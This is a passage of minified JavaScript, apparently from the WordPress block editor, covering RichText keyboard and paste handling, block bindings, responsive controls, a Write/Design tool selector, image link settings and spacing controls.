b?f(b):b.length>0&&a&&(0,Lt.isEmpty)(r)&&a(b,b.length-1,-1)}const{defaultView:o}=t.ownerDocument;return o.addEventListener("paste",n),()=>{o.removeEventListener("paste",n)}},e=>t=>{function n(t){const{keyCode:n,shiftKey:o,ctrlKey:i,metaKey:r}=t;if(t.defaultPrevented)return;const{value:l,onMerge:s,onRemove:a}=e.current;if(n===sd.DELETE||n===sd.BACKSPACE){const{start:e,end:c,text:u}=l,d=n===sd.BACKSPACE,p=l.activeFormats&&!!l.activeFormats.length;if(!(0,Lt.isCollapsed)(l)||p||d&&0!==e||!d&&c!==u.length)return;if(o&&(i||r))return;s?s(!d):a&&(0,Lt.isEmpty)(l)&&d&&a(!d),t.preventDefault()}}return t.addEventListener("keydown",n),()=>{t.removeEventListener("keydown",n)}},e=>t=>{function n(t){if(t.keyCode!==sd.ENTER)return;const{onReplace:n,onSplit:o}=e.current;n&&o&&(t.__deprecatedOnSplit=!0)}function o(n){if(n.defaultPrevented)return;if(n.target!==t)return;if(n.keyCode!==sd.ENTER)return;const{value:o,onChange:i,disableLineBreaks:r,onSplitAtEnd:l,onSplitAtDoubleLineEnd:s,registry:a}=e.current;n.preventDefault();const{text:c,start:u,end:d}=o;n.shiftKey?r||i((0,Lt.insert)(o,"\n")):l&&u===d&&d===c.length?l():s&&u===d&&d===c.length&&"\n\n"===c.slice(-2)?a.batch((()=>{const e={...o};e.start=e.end-2,i((0,Lt.remove)(e)),s()})):r||i((0,Lt.insert)(o,"\n"))}const{defaultView:i}=t.ownerDocument;return i.addEventListener("keydown",o),t.addEventListener("keydown",n),()=>{i.removeEventListener("keydown",o),t.removeEventListener("keydown",n)}},e=>t=>{function n(){const{registry:n}=e.current;if(!n.select(hs).isMultiSelecting())return;const o=t.parentElement.closest('[contenteditable="true"]');o&&o.focus()}return t.addEventListener("focus",n),()=>{t.removeEventListener("focus",n)}}];function bI(e){const t=(0,u.useRef)(e);(0,u.useInsertionEffect)((()=>{t.current=e}));const n=(0,u.useMemo)((()=>vI.map((e=>e(t)))),[t]);return(0,p.useRefEffect)((t=>{if(!e.isSelected)return;const o=n.map((e=>e(t)));return()=>{o.forEach((e=>e()))}}),[n,e.isSelected])}const kI={},_I=Symbol("usesContext");function yI({onChange:e,onFocus:t,value:n,forwardedRef:o,settings:i}){const{name:r,edit:l,[_I]:s}=i,a=(0,u.useContext)(ks),c=(0,u.useMemo)((()=>s?Object.fromEntries(Object.entries(a).filter((([e])=>s.includes(e)))):kI),[s,a]);if(!l)return null;const d=(0,Lt.getActiveFormat)(n,r),p=void 0!==d,h=(0,Lt.getActiveObject)(n),g=void 0!==h&&h.type===r;return(0,Nt.jsx)(l,{isActive:p,activeAttributes:p&&d.attributes||{},isObjectActive:g,activeObjectAttributes:g&&h.attributes||{},value:n,onChange:e,onFocus:t,contentRef:o,context:c},r)}function xI({formatTypes:e,...t}){return e.map((e=>(0,ff.createElement)(yI,{settings:e,...t,key:e.name})))}function SI(e,t){if(DI.isEmpty(e)){const e=fI(t);return e?`<${e}></${e}>`:""}return Array.isArray(e)?(Ye()("wp.blockEditor.RichText value prop as children type",{since:"6.1",version:"6.3",alternative:"value prop as string",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),c.children.toHTML(e)):"string"==typeof e?e:e.toHTMLString()}function wI({value:e,tagName:t,multiline:n,format:o,...i}){return e=(0,Nt.jsx)(u.RawHTML,{children:SI(e,n)}),t?(0,Nt.jsx)(t,{...i,children:e}):e}const CI=(0,u.forwardRef)((function({children:e,identifier:t,tagName:n="div",value:o="",onChange:i,multiline:r,...l},s){Ye()("wp.blockEditor.RichText multiline prop",{since:"6.1",version:"6.3",alternative:"nested blocks (InnerBlocks)",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/nested-blocks-inner-blocks/"});const{clientId:a}=S(),{getSelectionStart:c,getSelectionEnd:u}=(0,d.useSelect)(hs),{selectionChange:p}=(0,d.useDispatch)(hs),h=fI(r),g=`</${h}>${o=o||`<${h}></${h}>`}<${h}>`.split(`</${h}><${h}>`);function f(e){i(`<${h}>${e.join(`</${h}><${h}>`)}</${h}>`)}return g.shift(),g.pop(),(0,Nt.jsx)(n,{ref:s,children:g.map(((e,n)=>(0,Nt.jsx)(RI,{identifier:`${t}-${n}`,tagName:h,value:e,onChange:e=>{const t=g.slice();t[n]=e,f(t)},isSelected:void 0,onKeyDown:o=>{if(o.keyCode!==sd.ENTER)return;o.preventDefault();const{offset:i}=c(),{offset:r}=u();if("number"!=typeof i||"number"!=typeof r)return;const l=(0,Lt.create)({html:e});l.start=i,l.end=r;const s=(0,Lt.split)(l).map((e=>(0,Lt.toHTMLString)({value:e}))),d=g.slice();d.splice(n,1,...s),f(d),p(a,`${t}-${n+1}`,0,0)},onMerge:e=>{const o=g.slice();let i=0;if(e){if(!o[n+1])return;o.splice(n,2,o[n]+o[n+1]),i=o[n].length-1}else{if(!o[n-1])return;o.splice(n-1,2,o[n-1]+o[n]),i=o[n-1].length-1}f(o),p(a,`${t}-${n-(e?0:1)}`,i,i)},...l},n)))})}));function BI({character:e,type:t,onUse:n}){const o=(0,u.useContext)(EI),i=(0,u.useRef)();return i.current=n,(0,u.useEffect)((()=>{function n(n){sd.isKeyboardEvent[t](n,e)&&(i.current(),n.preventDefault())}return o.current.add(n),()=>{o.current.delete(n)}}),[e,t]),null}function II({name:e,shortcutType:t,shortcutCharacter:n,...o}){let i,r="RichText.ToolbarControls";return e&&(r+=`.${e}`),t&&n&&(i=sd.displayShortcut[t](n)),(0,Nt.jsx)(ne.Fill,{name:r,children:(0,Nt.jsx)(ne.ToolbarButton,{...o,shortcut:i})})}function jI({inputType:e,onInput:t}){const n=(0,u.useContext)(TI),o=(0,u.useRef)();return o.current=t,(0,u.useEffect)((()=>{function t(t){t.inputType===e&&(o.current(),t.preventDefault())}return n.current.add(t),()=>{n.current.delete(t)}}),[e]),null}const EI=(0,u.createContext)(),TI=(0,u.createContext)(),PI=Symbol("instanceId");function MI(e){const{__unstableMobileNoFocusOnMount:t,deleteEnter:n,placeholderTextColor:o,textAlign:i,selectionColor:r,tagsToEliminate:l,disableEditingMenu:s,fontSize:a,fontFamily:c,fontWeight:u,fontStyle:d,minWidth:p,maxWidth:h,disableSuggestions:g,disableAutocorrection:f,...m}=e;return m}function RI({children:e,tagName:t="div",value:n="",onChange:o,isSelected:i,multiline:r,inlineToolbar:l,wrapperClassName:s,autocompleters:a,onReplace:h,placeholder:g,allowedFormats:f,withoutInteractiveFormatting:m,onRemove:b,onMerge:k,onSplit:_,__unstableOnSplitAtEnd:y,__unstableOnSplitAtDoubleLineEnd:x,identifier:w,preserveWhiteSpace:C,__unstablePastePlainText:B,__unstableEmbedURLOnPaste:I,__unstableDisableFormats:j,disableLineBreaks:E,__unstableAllowPrefixTransformations:T,readOnly:P,...M},R){M=MI(M),_&&Ye()("wp.blockEditor.RichText onSplit prop",{since:"6.4",alternative:'block.json support key: "splitting"'});const N=(0,p.useInstanceId)(RI),A=(0,u.useRef)(),L=S(),{clientId:D,isSelected:O,name:z}=L,F=L[v],V=(0,u.useContext)(ks),H=(0,d.useRegistry)(),{selectionStart:G,selectionEnd:$,isSelected:U}=(0,d.useSelect)((e=>{if(!O)return{isSelected:!1};const{getSelectionStart:t,getSelectionEnd:n}=e(hs),o=t(),r=n();let l;return void 0===i?l=o.clientId===D&&r.clientId===D&&(w?o.attributeKey===w:o[PI]===N):i&&(l=o.clientId===D),{selectionStart:l?o.offset:void 0,selectionEnd:l?r.offset:void 0,isSelected:l}}),[D,w,N,i,O]),{disableBoundBlock:W,bindingsPlaceholder:K,bindingsLabel:Z}=(0,d.useSelect)((e=>{var t,o,i,r,l,s,a,u;if(null==F||!F[w]||!Rs(z))return{};const d=F[w],p=null===c.getBlockBindingsSource||void 0===c.getBlockBindingsSource?void 0:(0,c.getBlockBindingsSource)(d.source),h={};if(null!=p&&null!==(t=p.usesContext)&&void 0!==t&&t.length)for(const e of p.usesContext)h[e]=V[e];const g=!(null!=p&&null!==(o=p.canUserEditValue)&&void 0!==o&&o.call(p,{select:e,context:h,args:d.args}));if(n.length>0)return{disableBoundBlock:g,bindingsPlaceholder:null,bindingsLabel:null};const{getBlockAttributes:f}=e(hs),m=f(D),v=null==p||null===(i=p.getFieldsList)||void 0===i?void 0:i.call(p,{select:e,context:h}),b=null!==(r=null==v||null===(l=v[null==d||null===(s=d.args)||void 0===s?void 0:s.key])||void 0===l?void 0:l.label)&&void 0!==r?r:null==p?void 0:p.label,k=g?b:(0,Je.sprintf)(/* translators: %s: connected field label or source label */ /* translators: %s: connected field label or source label */(0,Je.__)("Add %s"),b),_=g?(null==d||null===(a=d.args)||void 0===a?void 0:a.key)||(null==p?void 0:p.label):(0,Je.sprintf)(/* translators: %s: source label or key */ /* translators: %s: source label or key */(0,Je.__)("Empty %s; start writing to edit its value"),(null==d||null===(u=d.args)||void 0===u?void 0:u.key)||(null==p?void 0:p.label));return{disableBoundBlock:g,bindingsPlaceholder:(null==m?void 0:m.placeholder)||k,bindingsLabel:_}}),[F,w,z,n,D,V]),q=P||W,{getSelectionStart:Y,getSelectionEnd:X,getBlockRootClientId:Q}=(0,d.useSelect)(hs),{selectionChange:J}=(0,d.useDispatch)(hs),ee=mI({allowedFormats:f,disableFormats:j}),te=!ee||ee.length>0,oe=(0,u.useCallback)(((e,t)=>{const n={},o=void 0===e&&void 0===t,i={clientId:D,[w?"attributeKey":PI]:w||N};if("number"==typeof e||o){if(void 0===t&&Q(D)!==Q(X().clientId))return;n.start={...i,offset:e}}if("number"==typeof t||o){if(void 0===e&&Q(D)!==Q(Y().clientId))return;n.end={...i,offset:t}}J(n)}),[D,Q,X,Y,w,N,J]),{formatTypes:ie,prepareHandlers:re,valueHandlers:le,changeHandlers:se,dependencies:ae}=function({clientId:e,identifier:t,withoutInteractiveFormatting:n,allowedFormats:o}){const i=(0,d.useSelect)(uI,[]),r=(0,u.useMemo)((()=>i.filter((({name:e,interactive:t,tagName:i})=>!(o&&!o.includes(e)||n&&(t||dI.has(i)))))),[i,o,n]),l=(0,d.useSelect)((n=>r.reduce(((o,i)=>{return i.__experimentalGetPropsForEditableTreePreparation?{...o,...(r=i.__experimentalGetPropsForEditableTreePreparation(n,{richTextIdentifier:t,blockClientId:e}),l=i.name,"object"!=typeof r?{[l]:r}:Object.fromEntries(Object.entries(r).map((([e,t])=>[`${l}.${e}`,t]))))}:o;var r,l}),{})),[r,e,t]),s=(0,d.useDispatch)(),a=[],c=[],p=[],h=[];for(const e in l)h.push(l[e]);return r.forEach((n=>{if(n.__experimentalCreatePrepareEditableTree){const o=n.__experimentalCreatePrepareEditableTree(pI(l,n.name),{richTextIdentifier:t,blockClientId:e});n.__experimentalCreateOnChangeEditableValue?c.push(o):a.push(o)}if(n.__experimentalCreateOnChangeEditableValue){let o={};n.__experimentalGetPropsForEditableTreeChangeHandler&&(o=n.__experimentalGetPropsForEditableTreeChangeHandler(s,{richTextIdentifier:t,blockClientId:e}));const i=pI(l,n.name);p.push(n.__experimentalCreateOnChangeEditableValue({..."object"==typeof i?i:{},...o},{richTextIdentifier:t,blockClientId:e}))}})),{formatTypes:r,prepareHandlers:a,valueHandlers:c,changeHandlers:p,dependencies:h}}({clientId:D,identifier:w,withoutInteractiveFormatting:m,allowedFormats:ee});function ce(e){return ie.forEach((t=>{t.__experimentalCreatePrepareEditableTree&&(e=(0,Lt.removeFormat)(e,t.name,0,e.text.length))})),e.formats}const{value:ue,getValue:de,onChange:pe,ref:he}=(0,Lt.__unstableUseRichText)({value:n,onChange(e,{__unstableFormats:t,__unstableText:n}){o(e),Object.values(se).forEach((e=>{e(t,n)}))},selectionStart:G,selectionEnd:$,onSelectionChange:oe,placeholder:K||g,__unstableIsSelected:U,__unstableDisableFormats:j,preserveWhiteSpace:C,__unstableDependencies:[...ae,t],__unstableAfterParse:function(e){return le.reduce(((t,n)=>n(t,e.text)),e.formats)},__unstableBeforeSerialize:ce,__unstableAddInvisibleFormats:function(e){return re.reduce(((t,n)=>n(t,e.text)),e.formats)}}),ge=function(e){return(0,ne.__unstableUseAutocompleteProps)({...e,completers:Xa(e)})}({onReplace:h,completers:a,record:ue,onChange:pe});!function({html:e,value:t}){var n;const o=(0,u.useRef)(),i=!(null===(n=t.activeFormats)||void 0===n||!n.length),{__unstableMarkLastChangeAsPersistent:r}=(0,d.useDispatch)(hs);(0,u.useLayoutEffect)((()=>{if(o.current){if(o.current!==t.text){const e=window.setTimeout((()=>{r()}),1e3);return o.current=t.text,()=>{window.clearTimeout(e)}}r()}else o.current=t.text}),[e,i])}({html:n,value:ue});const fe=(0,u.useRef)(new Set),me=(0,u.useRef)(new Set);function ve(){var e;null===(e=A.current)||void 0===e||e.focus()}const be=t;return(0,Nt.jsxs)(Nt.Fragment,{children:[U&&(0,Nt.jsx)(EI.Provider,{value:fe,children:(0,Nt.jsx)(TI.Provider,{value:me,children:(0,Nt.jsxs)(ne.Popover.__unstableSlotNameProvider,{value:"__unstable-block-tools-after",children:[e&&e({value:ue,onChange:pe,onFocus:ve}),(0,Nt.jsx)(xI,{value:ue,onChange:pe,onFocus:ve,formatTypes:ie,forwardedRef:A})]})})}),U&&te&&(0,Nt.jsx)(cI,{inline:l,editableContentElement:A.current}),(0,Nt.jsx)(be,{role:"textbox","aria-multiline":!E,"aria-readonly":q,...M,draggable:void 0,"aria-label":Z||M["aria-label"]||g,...ge,ref:(0,p.useMergeRefs)([he,R,ge.ref,M.ref,bI({registry:H,getValue:de,onChange:pe,__unstableAllowPrefixTransformations:T,formatTypes:ie,onReplace:h,selectionChange:J,isSelected:U,disableFormats:j,value:ue,tagName:t,onSplit:_,__unstableEmbedURLOnPaste:I,pastePlainText:B,onMerge:k,onRemove:b,removeEditorOnlyFormats:ce,disableLineBreaks:E,onSplitAtEnd:y,onSplitAtDoubleLineEnd:x,keyboardShortcuts:fe,inputEvents:me}),A]),contentEditable:!q,suppressContentEditableWarning:!0,className:ms("block-editor-rich-text__editable",M.className,"rich-text"),tabIndex:0!==M.tabIndex||q?M.tabIndex:null,"data-wp-block-attribute-key":w})]})}const NI=(AI=(0,u.forwardRef)(RI),(0,u.forwardRef)(((e,t)=>{let n=e.value,o=e.onChange;Array.isArray(n)&&(Ye()("wp.blockEditor.RichText value prop as children type",{since:"6.1",version:"6.3",alternative:"value prop as string",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),n=c.children.toHTML(e.value),o=t=>e.onChange(c.children.fromDOM((0,Lt.__unstableCreateElement)(document,t).childNodes)));const i=e.multiline?CI:AI;return(0,Nt.jsx)(i,{...e,value:n,onChange:o,ref:t})})));var AI;NI.Content=wI,NI.isEmpty=e=>!e||0===e.length;const LI=(0,u.forwardRef)(((e,t)=>{if(S()[b]){const{children:t,tagName:n="div",value:o,onChange:i,isSelected:r,multiline:l,inlineToolbar:s,wrapperClassName:a,autocompleters:c,onReplace:u,placeholder:d,allowedFormats:p,withoutInteractiveFormatting:h,onRemove:g,onMerge:f,onSplit:m,__unstableOnSplitAtEnd:v,__unstableOnSplitAtDoubleLineEnd:b,identifier:k,preserveWhiteSpace:_,__unstablePastePlainText:y,__unstableEmbedURLOnPaste:x,__unstableDisableFormats:S,disableLineBreaks:w,__unstableAllowPrefixTransformations:C,readOnly:B,...I}=MI(e);return(0,Nt.jsx)(n,{...I,dangerouslySetInnerHTML:{__html:SI(o,l)}})}return(0,Nt.jsx)(NI,{ref:t,...e,readOnly:!1})}));LI.Content=wI,LI.isEmpty=e=>!e||0===e.length;const DI=LI,OI=(0,u.forwardRef)(((e,t)=>(0,Nt.jsx)(DI,{ref:t,...e,__unstableDisableFormats:!0})));OI.Content=({value:e="",tagName:t="div",...n})=>(0,Nt.jsx)(t,{...n,children:e});const zI=OI,FI=(0,u.forwardRef)((({__experimentalVersion:e,...t},n)=>{if(2===e)return(0,Nt.jsx)(zI,{ref:n,...t});const{className:o,onChange:i,...r}=t;return(0,Nt.jsx)(Fg.Z,{ref:n,className:ms("block-editor-plain-text",o),onChange:e=>i(e.target.value),...r})}));function VI({property:e,viewport:t,desc:n}){const o=(0,p.useInstanceId)(VI),i=n||(0,Je.sprintf)(/* translators: 1: property name. 2: viewport name. */ /* translators: 1: property name. 2: viewport name. */(0,Je._x)("Controls the %1$s property for %2$s viewports.","Text labelling a interface as controlling a given layout property (eg: margin) for a given screen size."),e,t.label);return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)("span",{"aria-describedby":`rbc-desc-${o}`,children:t.label}),(0,Nt.jsx)(ne.VisuallyHidden,{as:"span",id:`rbc-desc-${o}`,children:i})]})}const HI=function(e){const{title:t,property:n,toggleLabel:o,onIsResponsiveChange:i,renderDefaultControl:r,renderResponsiveControls:l,isResponsive:s=!1,defaultLabel:a={id:"all",label:(0,Je._x)("All","screen sizes")},viewports:c=[{id:"small",label:(0,Je.__)("Small screens")},{id:"medium",label:(0,Je.__)("Medium screens")},{id:"large",label:(0,Je.__)("Large screens")}]}=e;if(!t||!n||!r)return null;const d=o||(0,Je.sprintf)(/* translators: %s: Property value for the control (eg: margin, padding, etc.). */ /* translators: %s: Property value for the control (eg: margin, padding, etc.). */(0,Je.__)("Use the same %s on all screen sizes."),n),p=(0,Je.__)("Choose whether to use the same value for all screen sizes or a unique value for each screen size."),h=r((0,Nt.jsx)(VI,{property:n,viewport:a}),a);return(0,Nt.jsxs)("fieldset",{className:"block-editor-responsive-block-control",children:[(0,Nt.jsx)("legend",{className:"block-editor-responsive-block-control__title",children:t}),(0,Nt.jsxs)("div",{className:"block-editor-responsive-block-control__inner",children:[(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,className:"block-editor-responsive-block-control__toggle",label:d,checked:!s,onChange:i,help:p}),(0,Nt.jsxs)("div",{className:ms("block-editor-responsive-block-control__group",{"is-responsive":s}),children:[!s&&h,s&&(l?l(c):c.map((e=>(0,Nt.jsx)(u.Fragment,{children:r((0,Nt.jsx)(VI,{property:n,viewport:e}),e)},e.id))))]})]})]})},GI=(0,Nt.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24",children:(0,Nt.jsx)(ne.Path,{d:"M9.4 20.5L5.2 3.8l14.6 9-2 .3c-.2 0-.4.1-.7.1-.9.2-1.6.3-2.2.5-.8.3-1.4.5-1.8.8-.4.3-.8.8-1.3 1.5-.4.5-.8 1.2-1.2 2l-.3.6-.9 1.9zM7.6 7.1l2.4 9.3c.2-.4.5-.8.7-1.1.6-.8 1.1-1.4 1.6-1.8.5-.4 1.3-.8 2.2-1.1l1.2-.3-8.1-5z"})}),$I=(0,u.forwardRef)((function(e,t){const n=(0,d.useSelect)((e=>e(hs).__unstableGetEditorMode()),[]),{__unstableSetEditorMode:o}=(0,d.useDispatch)(hs);return(0,Nt.jsx)(ne.Dropdown,{renderToggle:({isOpen:o,onToggle:i})=>(0,Nt.jsx)(ne.Button,{size:"compact",...e,ref:t,icon:"navigation"===n?Ky:GI,"aria-expanded":o,"aria-haspopup":"true",onClick:i/* translators: button label text should, if possible, be under 16 characters. */,label:(0,Je.__)("Tools")}),popoverProps:{placement:"bottom-start"},renderContent:()=>(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.NavigableMenu,{className:"block-editor-tool-selector__menu",role:"menu","aria-label":(0,Je.__)("Tools"),children:(0,Nt.jsx)(ne.MenuItemsChoice,{value:"navigation"===n?"navigation":"edit",onSelect:e=>{o(e)},choices:[{value:"navigation",label:(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(Ua,{icon:Ky}),(0,Je.__)("Write")]}),info:(0,Je.__)("Focus on content."),"aria-label":(0,Je.__)("Write")},{value:"edit",label:(0,Nt.jsxs)(Nt.Fragment,{children:[GI,(0,Je.__)("Design")]}),info:(0,Je.__)("Edit layout and styles."),"aria-label":(0,Je.__)("Design")}]})}),(0,Nt.jsx)("div",{className:"block-editor-tool-selector__help",children:(0,Je.__)("Tools provide different sets of interactions for blocks. Choose between simplified content tools (Write) and advanced visual editing tools (Design).")})]})})}));function UI({units:e,...t}){const[n]=Vs("spacing.units"),o=(0,ne.__experimentalUseCustomUnits)({availableUnits:n||["%","px","em","rem","vw"],units:e});return(0,Nt.jsx)(ne.__experimentalUnitControl,{units:o,...t})}const WI=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z"})});class KI extends u.Component{constructor(){super(...arguments),this.toggle=this.toggle.bind(this),this.submitLink=this.submitLink.bind(this),this.state={expanded:!1}}toggle(){this.setState({expanded:!this.state.expanded})}submitLink(e){e.preventDefault(),this.toggle()}render(){const{url:e,onChange:t}=this.props,{expanded:n}=this.state,o=e?(0,Je.__)("Edit link"):(0,Je.__)("Insert link");return(0,Nt.jsxs)("div",{className:"block-editor-url-input__button",children:[(0,Nt.jsx)(ne.Button,{size:"compact",icon:LS,label:o,onClick:this.toggle,className:"components-toolbar__control",isPressed:!!e}),n&&(0,Nt.jsx)("form",{className:"block-editor-url-input__button-modal",onSubmit:this.submitLink,children:(0,Nt.jsxs)("div",{className:"block-editor-url-input__button-modal-line",children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,className:"block-editor-url-input__back",icon:WI,label:(0,Je.__)("Close"),onClick:this.toggle}),(0,Nt.jsx)(XB,{value:e||"",onChange:t,suffix:(0,Nt.jsx)(ne.__experimentalInputControlSuffixWrapper,{variant:"control",children:(0,Nt.jsx)(ne.Button,{size:"small",icon:yC,label:(0,Je.__)("Submit"),type:"submit"})})})]})})]})}}const ZI=KI,qI=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"})}),YI="none",XI="custom",QI="media",JI="attachment",ej=["noreferrer","noopener"],tj=({linkDestination:e,onChangeUrl:t,url:n,mediaType:o="image",mediaUrl:i,mediaLink:r,linkTarget:l,linkClass:s,rel:a,showLightboxSetting:c,lightboxEnabled:d,onSetLightbox:p,resetLightbox:h})=>{const[g,f]=(0,u.useState)(!1),[m,v]=(0,u.useState)(null),[b,k]=(0,u.useState)(!1),[_,y]=(0,u.useState)(null),x=(0,u.useRef)(null),S=(0,u.useRef)();(0,u.useEffect)((()=>{S.current&&(Cp.focus.focusable.find(S.current)[0]||S.current).focus()}),[b,n,d]);const w=()=>{k(!1)},C=()=>{const e=[{linkDestination:QI,title:(0,Je.__)("Link to image file"),url:"image"===o?i:void 0,icon:qI}];return"image"===o&&r&&e.push({linkDestination:JI,title:(0,Je.__)("Link to attachment page"),url:"image"===o?r:void 0,icon:Wa}),e},B=(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:"3",children:[(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Open in new tab"),onChange:e=>{const n=(e=>{const t=e?"_blank":void 0;let n;if(t){const e=(null!=a?a:"").split(" ");ej.forEach((t=>{e.includes(t)||e.push(t)})),n=e.join(" ")}else{const e=(null!=a?a:"").split(" ").filter((e=>!1===ej.includes(e)));n=e.length?e.join(" "):void 0}return{linkTarget:t,rel:n}})(e);t(n)},checked:"_blank"===l}),(0,Nt.jsx)(ne.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,Je.__)("Link rel"),value:null!=a?a:"",onChange:e=>{t({rel:e})}}),(0,Nt.jsx)(ne.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,Je.__)("Link CSS class"),value:s||"",onChange:e=>{t({linkClass:e})}})]}),I=null!==_?_:n,j=!d||d&&!c,E=!I&&j,T=(C().find((t=>t.linkDestination===e))||{}).title;return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.ToolbarButton,{icon:LS,className:"components-toolbar__control",label:(0,Je.__)("Link"),"aria-expanded":g,onClick:()=>{f(!0)},ref:v,isActive:!!n||d&&c}),g&&(0,Nt.jsx)(eI,{ref:S,anchor:m,onFocusOutside:e=>{const t=x.current;t&&t.contains(e.target)||(f(!1),y(null),w())},onClose:()=>{y(null),w(),f(!1)},renderSettings:j?()=>B:null,additionalControls:E&&(0,Nt.jsxs)(ne.NavigableMenu,{children:[C().map((e=>(0,Nt.jsx)(ne.MenuItem,{icon:e.icon,iconPosition:"left",onClick:()=>{y(null),(e=>{const n=C();let o;o=e?(n.find((t=>t.url===e))||{linkDestination:XI}).linkDestination:YI,t({linkDestination:o,href:e})})(e.url),w()},children:e.title},e.linkDestination))),c&&(0,Nt.jsx)(ne.MenuItem,{className:"block-editor-url-popover__expand-on-click",icon:rd,info:(0,Je.__)("Scale the image with a lightbox effect."),iconPosition:"left",onClick:()=>{y(null),t({linkDestination:YI,href:""}),null==p||p(!0),w()},children:(0,Je.__)("Enlarge on click")},"expand-on-click")]}),offset:13,children:d&&c&&!n&&!b?(0,Nt.jsxs)("div",{className:"block-editor-url-popover__expand-on-click",children:[(0,Nt.jsx)(Ua,{icon:rd}),(0,Nt.jsxs)("div",{className:"text",children:[(0,Nt.jsx)("p",{children:(0,Je.__)("Enlarge on click")}),(0,Nt.jsx)("p",{className:"description",children:(0,Je.__)("Scales the image with a lightbox effect")})]}),(0,Nt.jsx)(ne.Button,{icon:DS,label:(0,Je.__)("Disable enlarge on click"),onClick:()=>{null==p||p(!1)},size:"compact"})]}):!n||b?(0,Nt.jsx)(eI.LinkEditor,{className:"block-editor-format-toolbar__link-container-content",value:I,onChangeInputValue:y,onSubmit:e=>{if(_){var n;const e=(null===(n=C().find((e=>e.url===_)))||void 0===n?void 0:n.linkDestination)||XI;t({href:_,linkDestination:e,lightbox:{enabled:!1}})}w(),y(null),e.preventDefault()},autocompleteRef:x}):n&&!b?(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(eI.LinkViewer,{className:"block-editor-format-toolbar__link-container-content",url:n,onEditLinkClick:()=>{e!==QI&&e!==JI||y(""),k(!0)},urlLabel:T}),(0,Nt.jsx)(ne.Button,{icon:DS,label:(0,Je.__)("Remove link"),onClick:()=>{t({linkDestination:YI,href:""}),null==h||h()},size:"compact"})]}):void 0})]})},nj=[],oj=new Intl.Collator("und",{numeric:!0}).compare;function ij(){const[e,t,n,o]=Vs("spacing.spacingSizes.custom","spacing.spacingSizes.theme","spacing.spacingSizes.default","spacing.defaultSpacingSizes"),i=null!=e?e:nj,r=null!=t?t:nj,l=n&&!1!==o?n:nj;return(0,u.useMemo)((()=>{const e=[{name:(0,Je.__)("None"),slug:"0",size:0},...i,...r,...l];return e.every((({slug:e})=>/^[0-9]/.test(e)))&&e.sort(((e,t)=>oj(e.slug,t.slug))),e.length>vc?[{name:(0,Je.__)("Default"),slug:"default",size:void 0},...e]:e}),[i,r,l])}const rj=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z"}),(0,Nt.jsx)(Rt.Path,{d:"m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z"})]}),lj={px:{max:300,steps:1},"%":{max:100,steps:1},vw:{max:100,steps:1},vh:{max:100,steps:1},em:{max:10,steps:.1},rm:{max:10,steps:.1},svw:{max:100,steps:1},lvw:{max:100,steps:1},dvw:{max:100,steps:1},svh:{max:100,steps:1},lvh:{max:100,steps:1},dvh:{max:100,steps:1},vi:{max:100,steps:1},svi:{max:100,steps:1},lvi:{max:100,steps:1},dvi:{max:100,steps:1},vb:{max:100,steps:1},svb:{max:100,steps:1},lvb:{max:100,steps:1},dvb:{max:100,steps:1},vmin:{max:100,steps:1},svmin:{max:100,steps:1},lvmin:{max:100,steps:1},dvmin:{max:100,steps:1},vmax:{max:100,steps:1},svmax:{max:100,steps:1},lvmax:{max:100,steps:1},dvmax:{max:100,steps:1}};function sj({icon:e,isMixed:t=!1,minimumCustomValue:n,onChange:o,onMouseOut:i,onMouseOver:r,showSideInLabel:l=!0,side:s,spacingSizes:a,type:c,value:h}){var g,f,m,v,b,k;h=Cc(h,a);let _=a;const y=a.length<=vc,x=(0,d.useSelect)((e=>{const t=e(hs).getSettings();return null==t?void 0:t.disableCustomSpacingSizes})),[S,w]=(0,u.useState)(!x&&void 